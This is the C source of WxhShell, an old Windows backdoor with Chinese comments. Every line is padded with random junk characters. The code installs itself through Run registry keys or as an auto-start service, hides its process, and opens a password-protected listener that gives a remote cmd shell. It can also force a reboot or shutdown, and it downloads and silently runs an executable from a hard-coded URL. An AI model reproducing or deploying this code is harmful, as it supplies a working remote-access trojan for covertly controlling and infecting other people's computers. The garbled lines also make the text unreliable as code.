    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uiq^|5Z  
    if(Boot(SHUTDOWN)) tE6!+c<7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i) E|bW;  
    else { )^||\G  
    closesocket(wsh); zDhB{3-Q1{  
    ExitThread(0); <fCKUc  
    } g~V+4+  
    break; qd3Q}Lk  
    } No]~jnqDM  
  // 获取shell o<IAeH {+  
  case 's': { /~*_x=p:  
    CmdShell(wsh); jZ`;Cy\<B  
    closesocket(wsh); ,p(<+6QZ  
    ExitThread(0); 76hOB@  
    break; 3 rLTF\  
  } `w I/0  
  // 退出 !Z VU,b>  
  case 'x': { _iNq"8>2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~{sG| ;/!*  
    CloseIt(wsh); !EUan  
    break; lj+u@Z<xA  
    } W>-Et7&2  
  // 离开  w 4[{2  
  case 'q': { oh# \]c\f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4DZ-bt'  
    closesocket(wsh); *5w{8  
    WSACleanup(); 4_Dp+^JF  
    exit(1); ()&~@1U  
    break; ^B8b%'\  
        } CLvX!O(~  
  } {uzf"%VtP  
  } r.7$&BCng  
)95f*wte  
  // 提示信息 `+6R0Ch  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W9NX=gE4  
} lHgs;>U$  
  } rE@T79"  
=zQN[  
  return; ;WR,eI..  
} Ft}@ 1w5  
9tF9T\jW  
// shell模块句柄  H"A7Zo  
int CmdShell(SOCKET sock)  : ]C~gc  
{ n:MdYA5,m  
STARTUPINFO si; II6CHjW`;  
ZeroMemory(&si,sizeof(si)); MEB it  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cnTaJ/o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I? ,>DHUX  
PROCESS_INFORMATION ProcessInfo; I`NjqyTW  
char cmdline[]="cmd"; #g6.Glz3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U&O: _>~  
  return 0; e7wSOs  
} sr8cYLm5R  
]U"94S U:)  
// 自身启动模式 8OgLn?"P  
int StartFromService(void) H;RwO@v  
{ "AE5 V'  
typedef struct Omd .9  
{ ]+X@ 7  
  DWORD ExitStatus; ):iA\A5q[  
  DWORD PebBaseAddress; -GxaV #{  
  DWORD AffinityMask; m*JaXa  
  DWORD BasePriority; g+z1  
  ULONG UniqueProcessId; UX7t`l2R  
  ULONG InheritedFromUniqueProcessId; |1j["u1  
}   PROCESS_BASIC_INFORMATION; F$)[kP,wtO  
| Bi!  
PROCNTQSIP NtQueryInformationProcess; G^ :C+/)  
l\i)$=d&g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (+0v<uR^D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gEjdN.  
=>-Rnc@  
  HANDLE             hProcess; Mo^ od<  
  PROCESS_BASIC_INFORMATION pbi; -B +4+&{T  
0Vx.nUQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nr<4M0tIp  
  if(NULL == hInst ) return 0; ]q4rlT.i  
=E.wv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @;"|@!l|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E>K!Vrh-L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z<Nfm  
{;2PL^i  
  if (!NtQueryInformationProcess) return 0; 3W N@J6?  
AIZ]jq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .[_L=_.  
  if(!hProcess) return 0; Hj}K{20  
5 sX+~Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X(NLtO w  
5aCgjA11  
  CloseHandle(hProcess); ?` ?)QE8  
 094o'k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *WuID2cOI  
if(hProcess==NULL) return 0; %KLpig  
2Wdyxj Q  
HMODULE hMod; FYpzQ6s~  
char procName[255]; Abc)i7!.,.  
unsigned long cbNeeded; -qGa]a  
m^zUmrj[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6e |*E`I  
HAa; hb  
  CloseHandle(hProcess); *}*FX+px)  
nlc "c5;jh  
if(strstr(procName,"services")) return 1; // 以服务启动 p>huRp^w  
\2h!aRWR  
  return 0; // 注册表启动 F1yqxWHeo  
} a^I\ /&aw'  
LcTP #  
// 主模块 #"G]ke1l$  
int StartWxhshell(LPSTR lpCmdLine) lgk  .CC  
{ {N+$Q'  
  SOCKET wsl; GB=X5<;  
BOOL val=TRUE; #AJM6* G9  
  int port=0; $| @ (  
  struct sockaddr_in door; %V7at7>o  
n"c[,k+R`U  
  if(wscfg.ws_autoins) Install(); EFM5,gB.m  
Iy&!<r7:]0  
port=atoi(lpCmdLine); , K~}\CR  
{ttysQ-  
if(port<=0) port=wscfg.ws_port; te-jfmu2  
?82xdp g  
  WSADATA data; 7fZDs j:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wi)_H$KII  
9dx/hFA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ) b (B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <eWf<  
  door.sin_family = AF_INET; ZbdZ rE$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X4~y7  
  door.sin_port = htons(port); b0Ps5G\ u  
#cI{Fe0h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3EPv"f^V  
closesocket(wsl); #V~me  
return 1; a .k.n<  
} P/W XaE4  
yPb"V  
  if(listen(wsl,2) == INVALID_SOCKET) { GjvOM y  
closesocket(wsl); N 5lDS  
return 1; Pd_U7&w,5  
} 8}O lL,fP  
  Wxhshell(wsl); i9,ge Q7d  
  WSACleanup(); p8Qk 'F=h  
SE1=>S%p  
return 0; vdc\R?  
ek*rp`y]  
} %]}  
|ATvS2  
// 以NT服务方式启动 +%h8r5o1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c(xrP/yOwi  
{ 286jI7T  
DWORD   status = 0; Z 2V.3  
  DWORD   specificError = 0xfffffff; L>Fa^jq5  
86=}ZGWd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ga^"1TZ x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  iu=7O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , /Z%@-rF  
  serviceStatus.dwWin32ExitCode     = 0; ;n*.W|Uph  
  serviceStatus.dwServiceSpecificExitCode = 0; 0ypNUG}   
  serviceStatus.dwCheckPoint       = 0; qN9(S:_Px  
  serviceStatus.dwWaitHint       = 0; -=)H{  
V^bwXr4f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 ob@[ @  
  if (hServiceStatusHandle==0) return; p>v$FiV2N  
Nk? ^1n$  
status = GetLastError(); g}k`o!q  
  if (status!=NO_ERROR) Y!w`YYKP  
{ wd8 l$*F*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *&^Pj%DX  
    serviceStatus.dwCheckPoint       = 0; N/"{.3{W  
    serviceStatus.dwWaitHint       = 0; Bq%Jh  
    serviceStatus.dwWin32ExitCode     = status; |4;Fd9q^m  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,~N/- 5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IL#"~D?  
    return; wDal5GJp  
  } l[0RgO*S  
k8&;lgO '  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HdUQCugxx:  
  serviceStatus.dwCheckPoint       = 0; Fo5FNNiID  
  serviceStatus.dwWaitHint       = 0; {HltvO%8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XpB_N{v9w  
} 5H<m$K4z  
6 $4[gcL'  
// 处理NT服务事件,比如:启动、停止 ;"5&b!=t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l *(8i ^  
{  dVtG/0  
switch(fdwControl) 6_GhO@lOG  
{ itt3.:y  
case SERVICE_CONTROL_STOP: S6Q  
  serviceStatus.dwWin32ExitCode = 0; qZ}^;)a^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vxBgGl  
  serviceStatus.dwCheckPoint   = 0; C!<Ou6}!b  
  serviceStatus.dwWaitHint     = 0; H(ARw'M  
  { )4e.k$X^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _YhES-Ff  
  } l`lk-nb  
  return; {T$9?`h~M  
case SERVICE_CONTROL_PAUSE: Cgk<pky1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y@S$^jk.  
  break; 3)<yod=  
case SERVICE_CONTROL_CONTINUE: 'x#~'v*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f643#1  
  break; {I%cx Q#y  
case SERVICE_CONTROL_INTERROGATE: ? =Z?6fw  
  break; J5K^^RUR  
}; @1roe G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pK>N-/?a  
} XJ;57n-?  
?=sDM& '  
// 标准应用程序主函数 J/y83@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O3,jg |,  
{ yLvDMPj  
<`=j^LU  
// 获取操作系统版本 UERLtSQ  
OsIsNt=GetOsVer(); .5_2zat0H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2`K=Hby  
gh]cXuph  
  // 从命令行安装 cA?W7D  
  if(strpbrk(lpCmdLine,"iI")) Install(); N)X3XTY  
hED}h![  
  // 下载执行文件 r(TIw%L$  
if(wscfg.ws_downexe) { =4YhG;%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rH Lm\3  
  WinExec(wscfg.ws_filenam,SW_HIDE); &jJL"gq"  
} 6P l<'3&  
MAR'y8I  
if(!OsIsNt) { Gx/Oi)&/  
// 如果时win9x,隐藏进程并且设置为注册表启动 ASA,{w]  
HideProc(); ~,Zc%s~|  
StartWxhshell(lpCmdLine); +Mb.:_7'  
} dFB]~QEK  
else GR_-9}jQP  
  if(StartFromService()) `4J$Et%S  
  // 以服务方式启动 l ukB8  
  StartServiceCtrlDispatcher(DispatchTable); m=:9+z  
else p?OoC  
  // 普通方式启动 Dw.J2>uj  
  StartWxhshell(lpCmdLine); k1~&x$G  
cOJo3p;&  
return 0; jvL[ JI,b  
} NH4#  
=&]g "a'  
rglXs  
gPI ?C76  
=========================================== K($Npuu]  
6<QQ@5_  
r#p9x[f<Y  
4xje$/_d  
WSB 0~+  
$Ds2>G4c  
" B~ GbF*j  
! n@KU!&k  
#include <stdio.h> N =}A Z{$  
#include <string.h> 83_h J  
#include <windows.h> zwjgE6  
#include <winsock2.h> [}=B8#Jl-C  
#include <winsvc.h> e X|m  
#include <urlmon.h> f}P3O3Yv&  
6A-|[(NS  
#pragma comment (lib, "Ws2_32.lib") 904}Jh,  
#pragma comment (lib, "urlmon.lib") G5 WVr$  
O<?R)NH-P  
#define MAX_USER   100 // 最大客户端连接数 14yv$,  
#define BUF_SOCK   200 // sock buffer ^6V[=!& H  
#define KEY_BUFF   255 // 输入 buffer "ze|W\Bv!  
&j"?\f?  
#define REBOOT     0   // 重启 g}cq K  
#define SHUTDOWN   1   // 关机 yR{3!{r3(  
f.$af4 u  
#define DEF_PORT   5000 // 监听端口 C_JNX9wv  
qo bc<-  
#define REG_LEN     16   // 注册表键长度 *.t 7G  
#define SVC_LEN     80   // NT服务名长度 .W!i7  
(hbyEQhF  
// 从dll定义API fIU#M]Xx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }S-O& Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V U3upy<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `Ggbi4),  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JK5gQ3C[  
Wh*uaad7  
// wxhshell配置信息 hHnYtq  
struct WSCFG { d\8l`Krs[_  
  int ws_port;         // 监听端口 !pX>!&sb  
  char ws_passstr[REG_LEN]; // 口令  x'<X!gw  
  int ws_autoins;       // 安装标记, 1=yes 0=no + [mk<pQ  
  char ws_regname[REG_LEN]; // 注册表键名 ?Z/V~,  
  char ws_svcname[REG_LEN]; // 服务名 ;HO=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .#8 JCY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /y}xX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9rf)gU3{+L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !%c\N8<>GD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Ql%r?(F+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vt#.eL)Ee  
e(t\g^X  
}; @:#eb1 <S  
p<"mt]  
// default Wxhshell configuration zQd 2  
struct WSCFG wscfg={DEF_PORT, )+DmOsH  
    "xuhuanlingzhe", 8{sGNCvU  
    1, _-g&PXH  
    "Wxhshell", #@Jq~$N|  
    "Wxhshell", UP,c|  
            "WxhShell Service", %7+qnH*;r  
    "Wrsky Windows CmdShell Service", zK@@p+n_#.  
    "Please Input Your Password: ", HG^'I+Yn  
  1, vXje^>_6  
  "http://www.wrsky.com/wxhshell.exe", `b$.%S8uj=  
  "Wxhshell.exe" ~Mxvq9vaD  
    }; 2BwO!Y[  
0@oJFJrO  
// 消息定义模块 ud('0 r',D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }5"u[Z.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "4{r6[dn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g}c~:p  
char *msg_ws_ext="\n\rExit."; aPL+=58r  
char *msg_ws_end="\n\rQuit."; KbeC"mi  
char *msg_ws_boot="\n\rReboot..."; Qvhl4-XjZa  
char *msg_ws_poff="\n\rShutdown..."; H/M@t\$Dc  
char *msg_ws_down="\n\rSave to "; 3.y vvPFEM  
/j.9$H'y  
char *msg_ws_err="\n\rErr!"; >4CbwwMA  
char *msg_ws_ok="\n\rOK!"; _oeS Uzq.  
gg2( 5FPP  
char ExeFile[MAX_PATH]; w\O;!1iU  
int nUser = 0; 4o[{>gW  
HANDLE handles[MAX_USER]; "^GGac.  
int OsIsNt; \'O"~W  
)Pv%#P-<  
SERVICE_STATUS       serviceStatus; o`-msz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Z"X}L,*  
0o&5 ]lEe  
// 函数声明 $IpccZpA  
int Install(void); A.w.rVDD  
int Uninstall(void); l*G[!u  
int DownloadFile(char *sURL, SOCKET wsh); X"%gQ.1|{j  
int Boot(int flag); yJIscwF  
void HideProc(void); ;aVZ"~a+\  
int GetOsVer(void); jmG~UnM  
int Wxhshell(SOCKET wsl); CU!Dhm/U  
void TalkWithClient(void *cs); |vj/Wwr  
int CmdShell(SOCKET sock); 2D5StCF$O  
int StartFromService(void); La[V$+Y  
int StartWxhshell(LPSTR lpCmdLine); [Y`W  
]7A'7p $Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < =IFcN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7b+6%fV  
?}Y]|c^W  
// 数据结构和表定义 oQJtUP%  
SERVICE_TABLE_ENTRY DispatchTable[] = pd$[8Rmj_  
{ a d\ot#V  
{wscfg.ws_svcname, NTServiceMain}, Tw<q,O  
{NULL, NULL} 6_B]MN!(  
}; ,PD QzJY  
MF'JeM;H  
// 自我安装 6ik$B   
int Install(void) o)/ 0a  
{ .T`%tJ-Em  
  char svExeFile[MAX_PATH]; <1TAw.  
  HKEY key; <F'\lA9  
  strcpy(svExeFile,ExeFile); J<lW<:!3]  
g<qaXv  
// 如果是win9x系统,修改注册表设为自启动 uPvEwq* C  
if(!OsIsNt) { <C*hokqqP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xoME9u0x4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~"A0Rs=  
  RegCloseKey(key); r9XZ(0/p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s5. CFA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *0ro0Z|Iq  
  RegCloseKey(key); 6 !bsM"F  
  return 0; Q,Eo mt  
    } ^<6[.)  
  } gRzxLf`K  
} VIbq:U  
else { o4WDh@d5S  
N2o7%gJw  
// 如果是NT以上系统,安装为系统服务 /gas2k==^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \Oo Wo  
if (schSCManager!=0) %a7$QF]  
{ izR"+v  
  SC_HANDLE schService = CreateService ~}Pfu  
  ( P$,Ke<  
  schSCManager, ! d gNtI@  
  wscfg.ws_svcname, 0*v2y*2V  
  wscfg.ws_svcdisp, Gq P5Kx+=  
  SERVICE_ALL_ACCESS, $:^td/p J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ho]su?  
  SERVICE_AUTO_START, ;AG()NjOO:  
  SERVICE_ERROR_NORMAL, 19] E 5'AI  
  svExeFile, W@esITr  
  NULL, +w~oH=  
  NULL, M3au{6y  
  NULL, {4PwLCy  
  NULL, GA.8@3  
  NULL z(~_AN M4,  
  ); u1.BN>G  
  if (schService!=0) 2&5K. Ui%  
  { H,NF;QPPC  
  CloseServiceHandle(schService); Alq(QDs  
  CloseServiceHandle(schSCManager); @}ZVtrz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LRF103nw  
  strcat(svExeFile,wscfg.ws_svcname); *NQ/UXE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V.2_i*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GN>@ZdVG}#  
  RegCloseKey(key); H"F29Pu2  
  return 0; mp3s-YfRc  
    } #LNED)Vg  
  } e#q}F>/L  
  CloseServiceHandle(schSCManager); }GIt!PG  
} Yr|4Fl~U  
} !Z6{9sKR=]  
o !7va"  
return 1; d"Y{UE  
} yCo.cd-  
d d;T-wa}  
// 自我卸载 %jM,W}2  
int Uninstall(void) P'rb%W  
{ @%SQFu@FJ  
  HKEY key; ~QVH<`sn  
6H|S;K+  
if(!OsIsNt) { {xB3S_,8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sR8"3b<qA  
  RegDeleteValue(key,wscfg.ws_regname); 3 gf1ownC  
  RegCloseKey(key); g\AY|;T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M3Kfd  
  RegDeleteValue(key,wscfg.ws_regname); b`_Q8 J  
  RegCloseKey(key); B7%U_F|m  
  return 0; FgO)DQm  
  } _vZOZKS+  
} IGN1gs  
} [00m/fT6  
else { ,+ ~W4<f  
I}Q2Vu<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J=yTbSN\v  
if (schSCManager!=0) =\d?'dII:  
{ Xm&L B X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g,Y/M3>(  
  if (schService!=0) Ap !lQ>p  
  { w*Ihk)  
  if(DeleteService(schService)!=0) { S tyfB  
  CloseServiceHandle(schService); .|=\z9_7S8  
  CloseServiceHandle(schSCManager); E} .^kc[(4  
  return 0; jh$='Gn  
  } et+0FF ,  
  CloseServiceHandle(schService); w#J2 wS  
  } ?fS9J  
  CloseServiceHandle(schSCManager); PaN"sf  
} N uI9iU  
} QCJM&  
I?NyM  
return 1; DL.!G  
} 'f|o{  
3M=  
// 从指定url下载文件 /7LR;>Bj  
int DownloadFile(char *sURL, SOCKET wsh) T 1t6p&  
{ J^/p(  
  HRESULT hr; CQ2jP G*py  
char seps[]= "/"; < 7$1kGlA  
char *token; ^}C\zW  
char *file; jqkqZF  
char myURL[MAX_PATH]; B\n[.(].r  
char myFILE[MAX_PATH]; F5#YOck&,  
^W@5TkkBQq  
strcpy(myURL,sURL); "h ^Z  
  token=strtok(myURL,seps); )CyS#j#=  
  while(token!=NULL) F&Hrk|a  
  { F<w/PMb  
    file=token; ZG@q`<:j  
  token=strtok(NULL,seps); MY/}-* |  
  }  LIdF 0  
h1(4Ic  
GetCurrentDirectory(MAX_PATH,myFILE); Np)lIGE  
strcat(myFILE, "\\"); :i7;w%B  
strcat(myFILE, file); ]N[ 5q=A5  
  send(wsh,myFILE,strlen(myFILE),0); )_NO4`ejs/  
send(wsh,"...",3,0); Q7A MRrN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vq2$'lY  
  if(hr==S_OK) ;=UsAB]  
return 0; WjjB<YKzF  
else {_dvx*M  
return 1; %K QQ,{ b  
fn!KQ`,#  
} ]cruF#`%  
%%wNZ{  
// 系统电源模块 wdZ/Xp9]  
int Boot(int flag) #89!'W  
{ } d }lR  
  HANDLE hToken; 8.~kK<)!  
  TOKEN_PRIVILEGES tkp; E~:x(5'%d  
%PJQ%~ A  
  if(OsIsNt) { D,ln)["xm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q3SS/eNP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y4(  
    tkp.PrivilegeCount = 1; K4);HJ|=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8x{'@WCG%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bYPKh  
if(flag==REBOOT) { Ic4H#w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ctJE+1#PH  
  return 0; 8sCv]|cn  
} sT' 5%4  
else { ]0\MmAJRn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VD\=`r)nT  
  return 0; e0 T\tc  
} A+)`ZTuO  
  } v9->nVc-  
  else { F}q c0  
if(flag==REBOOT) { Hq 188<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T,tdL N-  
  return 0; j8`BdKg  
} YrKWA  
else { -PQv ?5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $tS}LN_!  
  return 0; 9&ids!W~yx  
} I!?}jo3  
} 40<mrVl  
+d;bjo 2  
return 1; PiYxk+N  
} 1sH& sGy7  
e 3TI|e_  
// win9x进程隐藏模块 &8 x-o,  
void HideProc(void) BVO<e \>3  
{ vZoaT|3 G]  
w1DV\Ap*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ub!(H^zu  
  if ( hKernel != NULL ) O1mKe%'|  
  { VAu&@a`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xZv#Es%#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?3xzd P  
    FreeLibrary(hKernel); jalg5`PU0  
  } @|%2f@h  
t`mV\)fa  
return; Wiu"k%Qsh  
} U`m54f@U  
{Dmjm{   
// 获取操作系统版本 C73 kJa  
int GetOsVer(void) :4%k9BGAj"  
{ Ue~CwFOc  
  OSVERSIONINFO winfo; >oe]$r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %|i`kYsy  
  GetVersionEx(&winfo); ^ovR7+V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y.r+wc]  
  return 1; `$C n~dT  
  else 5[u]E~Fl}  
  return 0; ,WB{i^TD  
} Vy, DN~ag  
hfy_3}_  
// 客户端句柄模块 "6?0h[uff  
int Wxhshell(SOCKET wsl) /~f'}]W  
{ HoL Et8Q  
  SOCKET wsh; 3kMf!VL  
  struct sockaddr_in client; FG*r'tC~r  
  DWORD myID; ilx)*Y  
t1y4 7fX6  
  while(nUser<MAX_USER) ,Vk3kmuvr]  
{ 0=E]cQwh  
  int nSize=sizeof(client); $H>W|9Kg,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~La>?:g <+  
  if(wsh==INVALID_SOCKET) return 1; EJNU761  
fsWTF<Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  'CkIz"Wd  
if(handles[nUser]==0) 'y3!fN =h  
  closesocket(wsh); ITT@,  
else OH(waKq2I  
  nUser++; +&2%+[nBZ  
  } %n:k#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b`O'1r\Y;  
q(2'\ _`u  
  return 0; nK%LRcAs  
} 5,6"&vU,  
[ ~&/s:Vvo  
// 关闭 socket ah+iZ}E%  
void CloseIt(SOCKET wsh) wx0j(:B]  
{ h{HHLR  
closesocket(wsh); R',rsGd`6j  
nUser--; Ge-vWf-RbB  
ExitThread(0); ? '{SX9  
} @7j AL-  
v<(  
// 客户端请求句柄 "mvt>X  
void TalkWithClient(void *cs) 1F&Trqq  
{ [}0haTYc4  
Vt&2z)Zz  
  SOCKET wsh=(SOCKET)cs; 76h ,]xi  
  char pwd[SVC_LEN]; =mp;.k95  
  char cmd[KEY_BUFF]; zsyIV!(  
char chr[1]; #Kex vP&*  
int i,j; orMwAV  
aH/ k Ua  
  while (nUser < MAX_USER) { k5.Lna  
'op|B@y  
if(wscfg.ws_passstr) { <s<n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KEjWRwN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O5nD+qTQ#  
  //ZeroMemory(pwd,KEY_BUFF); .MoU1n{Yc  
      i=0; RO/FF<f  
  while(i<SVC_LEN) { ~;{; ,8!)  
G^4hd i3@  
  // 设置超时 '^~{@~ ;%L  
  fd_set FdRead; 65$+{s  
  struct timeval TimeOut; *VhL\IjN]  
  FD_ZERO(&FdRead); MJ [m  
  FD_SET(wsh,&FdRead); LR.<&m%~.  
  TimeOut.tv_sec=8; 41?HY{&2  
  TimeOut.tv_usec=0; /zVOK4BqN+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oso#+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *@=/qkaJaI  
~^fZx5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l$pm_%@2]  
  pwd=chr[0]; |AU~_{H  
  if(chr[0]==0xd || chr[0]==0xa) { hVAn>_(  
  pwd=0; NzOx0WLF  
  break; "2$fi{9  
  } ryUQU^v  
  i++; Tc`=f'pP)4  
    } peuZ&yK+"  
Ep3N&Imp  
  // 如果是非法用户,关闭 socket $OkBg0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9oR@U W1  
} F {4bo$~>  
PB`Y g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x vl#w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x '>9d  
4`]^@"{  
while(1) { ]i ,{  
D_^ nI:  
  ZeroMemory(cmd,KEY_BUFF); VfC<WVYiZ  
A:N|\Mv2b  
      // 自动支持客户端 telnet标准   O6a<`]F  
  j=0; wX5tp1 ?1J  
  while(j<KEY_BUFF) { ipgC RHE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); })8N5C+KU  
  cmd[j]=chr[0]; `WFw3TI  
  if(chr[0]==0xa || chr[0]==0xd) { f:|1_j  
  cmd[j]=0; J1RJ*mo7,  
  break; GmEJhr.3`=  
  } cyv`B3}  
  j++; Z=Y& B>:[  
    } 6@ IXqKz  
)SRefW.v  
  // 下载文件 @oY~..d`  
  if(strstr(cmd,"http://")) { L<-_1!wh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6/Xk7B  
  if(DownloadFile(cmd,wsh)) Eog0TQ+*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )E@.!Ut4o  
  else u4F5h PO]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _w(7u(Z  
  } e~[/i\  
  else { L Mbn  
vkd.)x`J,  
